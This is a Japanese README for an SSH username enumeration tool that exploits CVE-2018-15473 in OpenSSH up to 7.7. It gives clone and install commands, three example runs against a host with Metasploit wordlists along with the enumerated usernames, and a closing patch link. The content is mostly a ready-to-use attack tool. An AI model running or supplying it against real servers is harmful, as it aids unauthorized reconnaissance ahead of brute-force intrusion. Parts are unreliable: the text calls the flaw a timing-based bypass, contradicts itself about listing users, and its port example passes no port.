
CVE-2018-15473を利用し、タイミングベースの認証バイパスによりOpenSSHサーバ上の有効なユーザを特定するSSHユーザ名列挙ツール。
OpenSSHサーバーは、リクエストを含むパケットを完全に解析する前に、無効なユーザーの認証を遅延させずに処理します。この脆弱性は、auth2-gss.c、auth2-hostbased.c、auth2-pubkey.cに関連しています。
この脆弱性は有効なユーザー名リストを生成するために使用することはできませんが、それでもユーザー名を列挙して推測するために使用できます。
OpenSSH <= 7.7
openssh-7.8p1-1.fc28 openssh-7.6p1-6.fc27
お使いのディストリビューションに相当するopenssl-devパッケージをインストールする必要があるかもしれません。
# 注意:Kaliにインストールする場合は、pipインストールをスキップして、以下の1、2、3行目の手順のみを実行してください。paramikoはすでに存在しています。
git clone https://github.com/1stPeak/CVE-2018-15473.git
cd CVE-2018-15473
chmod u+x ssh-username-enum.py
pip install -r requirements.txt
# または以下のコマンドでダウンロードインストールします
pipenv install -r requirements.txt # もしあなたがクールならね
chmod u+x ssh-username-enum.py
例1:単一ユーザー列挙
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -u root 192.168.1.2
[+] root found!
例2:10スレッドを使用した複数ユーザー列挙(デフォルトは4スレッド)
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -t 10 -w /usr/share/wordlists/metasploit/unix_users.txt 192.168.1.2
[+] man found!
[+] guest found!
[+] nobody found!
[!] SSH negotiation failed for user nobody4.
[+] lpadmin found!
など
例3:IPv6アドレスとSSHポート番号の指定
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -t 10 -w /usr/share/wordlists/metasploit/unix_users.txt 192.168.1.2 '::1'
[+] ROOT found!
[+] syslog found!
[+] sslh found!
[!] SSH negotiation failed for user sssd.
[+] rfindd found!
[+] ultra found!
など
ユーザーは影響を受けないバージョンにアップグレードすることをお勧めします。また、OpenBSDプロジェクトは以下のリンクでソースコードの修正を公開しています:https://github.com/openbsd/src/commit/779974d35b4859c07bc3cb8a12c74b43b0a7d1e0
https://github.com/epi052/cve-2018-15473
http://blog.nsfocus.net/openssh-cve-2018-15919/